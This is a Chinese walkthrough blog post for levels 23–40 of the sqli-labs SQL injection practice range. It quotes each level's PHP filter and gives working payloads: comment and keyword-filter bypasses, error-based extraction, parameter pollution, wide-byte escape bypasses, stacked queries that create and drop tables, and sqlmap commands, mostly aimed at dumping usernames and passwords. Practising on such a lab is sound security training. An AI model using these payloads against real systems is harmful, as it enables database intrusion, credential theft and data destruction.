Sqllab靶场通关(23-40)

第23关

$reg = "/#/"; //这里过滤了#

$reg1 = "/--/"; //这里过滤了--

$replace = ""; //把他们都替换成了空

$id = preg_replace($reg, $replace, $id);

$id = preg_replace($reg1, $replace, $id);

对注释符号进行了正则替换

手工:

http://sql/Less-23/?id=-1' union select 1,database(),3 and '1' = '1

Sqlmap

python sqlmap.py -u http://sql/Less-23/?id=-1

第24关

二次注入:

可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户 输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

查看原始用户数据

注册Dumb’#

密码:111

登录后重置密码

123

update users set password='123456'where username='Dummy'#'and password='123'

第25关

function blacklist($id)

{

$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)

$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;

}

过滤了and和or

1、双写
因为后端and替换为空,并且只过滤一次,可以使用双写绕过
2、使用逻辑运算符
and对应的是&&,or对应的是||
3、url编码
and对应的机器语言是&&,如果&&无法绕过,可以试着利用&的url编码绕过,&&url编码为%26%26。

http://sql/Less-25/?id=-1'union select 1,group_concat(username,0x3a,passwoorrd),3 from users --+

双写绕过

Sqlmap

python sqlmap.py -u http://sql/Less-25/?id=1 --dbs

第25关a数字型闭合

http://sql/Less-25a/?id=-1 union select 1,group_concat(username,0x3a,passwoorrd),3 from users --+

Sqlmap

python sqlmap.py -u http://sql/Less-25a/?id=1 --dbs

第26关

function blacklist($id)

{

$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)

$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)

$id= preg_replace('/[\/\*]/',"", $id); //strip out /*

$id= preg_replace('/[--]/',"", $id); //Strip out --

$id= preg_replace('/[#]/',"", $id); //Strip out #

$id= preg_replace('/[\s]/',"", $id); //Strip out spaces

$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes

return $id;

}

Or and 注释符(url %00绕过)

?id=1' %26%26 extractvalue(1,concat(0x7e,database(),0x7e));%00

?id=1' %26%26 extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security') ,0x7e));%00

?id=1' %26%26 extractvalue(1,concat(0x7e,(select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),0x7e));%00

?id=1' %26%26 extractvalue(1,concat(0x7e,(select(group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users')),0x7e));%00

?id=1' %26%26 extractvalue(1,concat(0x7e,(select (group_concat(username)) from (users)),0x7e));%00

 26a

(跟26差不多,就多了括号)只可以用盲注

第27关

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0  爆表

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0  爆字段

  

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0  爆密码账户

第27a关

%0A代表换行符,不影响语句执行
%3a是冒号":"
%5c是“/”

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

第28关

function blacklist($id)

{

$id= preg_replace('/[\/\*]/',"", $id);              //strip out /*

$id= preg_replace('/[--]/',"", $id);              //Strip out --.

$id= preg_replace('/[#]/',"", $id);                  //Strip out #.

$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.//$id= preg_replace('/select/m',"", $id);                //Strip out spaces.

$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.

$id= preg_replace('/union\s+select/i',"", $id);      //Strip out UNION & SELECT.return $id;

}

%00——注释符,双写绕过,%0a空格绕过(url绕过)

?id=1');%00   为闭合方式

http://sql/Less-28/?id=0') %0a unioN union%0a select %0a selecT %0a1,2,3;%00

?id=0') %0a unioN union%0a select %0a selecT %0a 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

字段

?id=0') %0a unioN union%0a select %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

字段值

?id=0') %0a unioN union%0a select %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00

第28a关

和28关操作一致

第29关(基于'的http请求的参数污染注入 )

需要jspstudy搭建

updataxml(1,2,3)同上

库:?id=1’ and 1=updatexml(1,concat(0x7e,(select substring(database(),1,10))),3)--+

表:?id=1’ and 1=updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,23)from information_schema.tables where table_schema=database())),3)--+

字段:?id=1’ and 1=updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,30) from information_schema.columns where table_name='users' and table_schema='security')),3)--+

字段内容:?id=-1’ and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,20)from users)),3)--+

第30关(基于"的http请求的参数污染注入 )

?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段

?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+

第31关(基于")的http请求的参数污染注入 )

HPP 是 HTTP Parameter Pollution 的缩写,意思即“ HTTP 参数污染 ”。这个漏洞由 S.di Paola 与 L. Caret Toni 在 2009 年的 OWASP 上首次公布。这也是一种注入型的漏洞,攻击者通过在HTTP请求中插入特定的参数来发起攻击。如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击。通过 HPP 参数污染可以实现绕过 waf 来进行攻击。

?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段

?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+

第32关 宽字节绕过

注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

)输入’,被\转义

%df将\转义符号给吃了

?id=-1%df%27%20union%20select%201,database(),3%20--+

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

第33关 宽字节绕过

注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

)输入’,被\转义

%df将\转义符号给吃了

?id=-1%df%27%20union%20select%201,database(),3%20--+

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

第34关 宽字节绕过(POST)

抓包uname中进行宽字节绕过

第35关  表名hex编码

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+

第36关

使用mysql_real_escape_string函数对于特殊字符进行转义

%df将\转义符号给吃了

?id=-1%df%27%20union%20select%201,database(),3%20--+

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

第37关

宽字节加hex编码

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名

1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户

第38关

堆叠注入

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series38 like users--+

创建和users一样的表

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series38 values(1,1,1)--+

插入数据1,1,1

 

?id=-1' union select 1,group_concat(username),group_concat(password) from users;drop table series38--+

删除表

第39关

堆叠注入

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series39 like users--+

创建和users一样的表

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series39 values(1,1,1)--+

插入数据1,1,1

?id=-1' union select 1,group_concat(username),group_concat(password) from users;drop table series39--+

删除表

第40关

堆叠注入加上%00绕过注释符

?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series40 like users ;%00

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series40 values(3,3,3);%00

?id=-1') union select 1,group_concat(username),group_concat(password) from users;drop table series40 ;%00

  • 24
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值